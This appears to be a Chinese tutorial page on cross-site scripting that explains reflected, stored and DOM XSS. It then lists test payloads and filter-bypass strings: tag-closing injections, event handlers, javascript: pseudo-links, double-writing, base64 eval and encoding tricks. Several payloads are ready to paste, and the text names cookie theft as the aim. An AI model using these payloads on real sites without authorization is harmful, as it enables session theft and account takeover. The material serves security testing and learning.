XSS漏洞介绍

    跨站脚本XSS是一种针对网站应用程序的安全漏洞攻击技术。恶意攻击者往web页面插入恶意的Script代码,当用于浏览该页时,嵌入web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。恶意用户利用XSS代码攻击成功后,可能会得到很高的权限,进而进行一些非法操作。

XSS攻击需要了解什么

1.获取管理员的cookie信息、篡改网页的链接

2.存储型XSS,将恶意代码存放在服务端,正常用户访问,恶意代码也会获取用户的cookie

检测测是否存在XSS的方法:将该语句发给服务器:,如果服务器端没有进行过滤,服务器就会返回给客户端,则服务器端存在XSS漏洞。主要就是看服务器端给客户端的响应。(使用burp抓包response)

3.发生位置:留言板、评论、搜索

4.分类:反射型XSS(需要发给客户,客户点击链接才会触发)、存储型XSS(危害严重)、Dom型(特殊的反射型,也需要客户点击链接才会触发)

5.改链接(用来引流),改cookie(用来提权)

XSS检测总结

常用XSS检测

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

直接检测

<script>alert('hi')</script>
<script>alert(document.domain)</script>

闭合<input>标签

"><script>alert(document.domain)</script>
"/><script>alert(document.domain)</script>

闭合选择框,burp抓包修改

</option><script>alert(document.domain)</script>

存在隐藏提交项,burp抓包修改

隐藏项目名"><script>alert(document.domain)</script>

或者使用svg onload事件触发JS代码

隐藏项目名"><svg onload=alert(document.domain)>%0a

限制maxlength的数值

maxlength="1000000"

<script>被转义,使用html事件处理器

xss" onclick="alert(document.domain)"/>
xss" onmouseover="alert(document.domain)"/>

使用JavaScript伪协议

<a href="javascript:alert(document.domain)">
如果不想让链接执行<a href="javascript:void(0)">javascript:alert(document.domain)

双写绕过(或者多写)

"><script>alert(document.dodomainmain)</script>
"><script>alert(eval('document.do'+'main'))</script>

编码绕过

"><script>eval(atob('xxxx'))</script>

其中,xxx是alert(document.domain)的base64编码,atob的作用是把base64解码

伪协议绕过

"><a href="javascript:alert(document.domain)">xss</a>
"><iframe src="javascript:alert(document.domain)">xss</iframe>

空格绕过

"><a href="javascr     ipt:alert(document.domain)">xss</a>"><a

IE浏览器特性绕过

IE中两个反引号``可以闭合一个左边的引号

``onclick=alert(document.domain)

双斜杠16进制绕过、双斜杠unicode绕过

    将被过滤的字符进行不同编码,一次或者多次进行绕过

注意

    在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行绕过。

XSS检测总结的更多相关文章

  1. HMM XSS检测

    HMM XSS检测 转自:http://www.freebuf.com/articles/web/133909.html 前言 上篇我们介绍了HMM的基本原理以及常见的基于参数的异常检测实现,这次我们 ...

  2. XSS检测工具 X5S/fiddler

    x5s http://xss.codeplex.com/ 5s是fiddler的插件, 协助XSS脚本攻击的穿刺性测试.  需要手动驱动. 安全编码,unicode字符变形,ut-8编码. 5s is ...

  3. Burpsuite-Intruder-xssValidator(XSS检测)基础学习

    这次总结的是使用Burp+PhantomJS进行xss测试. 首先,当然是xss测试的环境配置了. 1. PhantomJS安装及Path配置:自己找资料吧. phantomjs -v验证是否成功安装 ...

  4. XSS动态检测

    0x00 起 前一段时间,因为工作原因接触到XSS漏洞检测.前人留下的锅,是采用pyqt webkit来解析网页内容.作为Python webkit框架,相比于PhantomJS,pyqt在捕获错误, ...

  5. web安全之xss

    xss:跨站脚本攻击,攻击者,把一段恶意代码镶嵌到web页面,,用户浏览页面时,嵌入页面的恶意代码就会执行,从而到达攻击用户的目的. 重点在于脚本,javascript和actionscript    ...

  6. Cross-Site Scripting(XSS)简介

    最近才开始研究HTML以及安全问题.如果有什么说得不对的地方,望请指出. 在网络应用安全中,XSS可能是最常见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击.在OWASP所列出的十大网络 ...

  7. ThinkCMF 解决xss攻击问题

    最近使用ThinkCMF给某政府开发的一个平台,因为他们需要通过国家二级信息安全等级测试 所以自己先使用Appscan测试了一下,结果扫描出一个xss安全问题 测试的网址:http://www.xxx ...

  8. 防御XSS攻击的七条原则

    本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...

  9. 跨站的艺术-XSS Fuzzing 的技巧

    作者 | 张祖优(Fooying)  腾讯云 云鼎实验室 对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing:同样是Fuzzing, ...

随机推荐

  1. Hash记录字符串

    Hash记录字符串模板: mod常常取1e9+7,base常常取299,,127等等等....有的题目会卡Hash,因为可能会有两个不同的Hash但却有相通的Hash值...这个时候可以用双Hash来 ...

  2. M - Help Hanzo LightOJ - 1197 (大区间素数筛法)

    题解:素数区间问题.注意到a和b的范围是1<<31,所以直接暴力打表肯定不可以.如果一个数是合数,他的两个因子要么是两个sqrt(x),要么就分布在sqrt(x)两端,所以我们可以根据sq ...

  3. vue2.x学习笔记(十一)

    接着前面的内容:https://www.cnblogs.com/yanggb/p/12586416.html. 表单的输入绑定 表单的输入绑定是一块很重要的内容,因为所有的业务系统都离不开基础表单的录 ...

  4. vue2.x学习笔记(十)

    接着前面的内容:https://www.cnblogs.com/yanggb/p/12584237.html. 事件处理 使用javascript当然少不了事件处理,即使是vue也不会例外. 监听事件 ...

  5. 详解 Properties类

    (请观看本人博文--<详解 I/O流>) Properties类: 概念: Properties 类的对象 是 一个持久的属性集 Properties 可 保存在流中 或 从流中加载 属性 ...

  6. SVM之不一样的视角

    在上一篇学习SVM中 从最大间隔角度出发,详细学习了如何用拉格朗日乘数法求解约束问题,一步步构建SVM的目标函数,这次尝试从另一个角度学习SVM. 回顾监督学习要素 数据:(\(x_i,y_i\)) ...

  7. gin请求数据校验

    前言 最近优化gin+vue的前后端分离项目代码时候,发现代码中对请求数据的校验比较繁琐,于是想办法简化它.最终我发现了go-playground/validator开源库很好用. 优化前代码 代码如 ...

  8. Nmap详细用法

    探测主机存活 (1)-sP :进行ping扫描 (2) -sn: ping探测扫描主机, 不进行端口扫描 (3)-sA     发送ACK探测存活 端口扫描 (1) -sS :半开放扫描 (2) sT ...

  9. 飞机大战-面向对象-pygame

    飞机大战 最近学习了python的面向对象,对面向对象的理解不是很深刻. 面向对象是数据和函数的'打包整理',将相关数据和处理数据的方法集中在一个地方,方便使用和管理. 本着学习的目的,在网上找了这个 ...

  10. Kubernetes 持久化存储是个难题,解决方案有哪些?\n

    像Kubernetes 这样的容器编排工具正在彻底改变应用程序的开发和部署方式.随着微服务架构的兴起,以及基础架构与应用程序逻辑从开发人员的角度解耦,开发人员越来越关注构建软件和交付价值. Kuber ...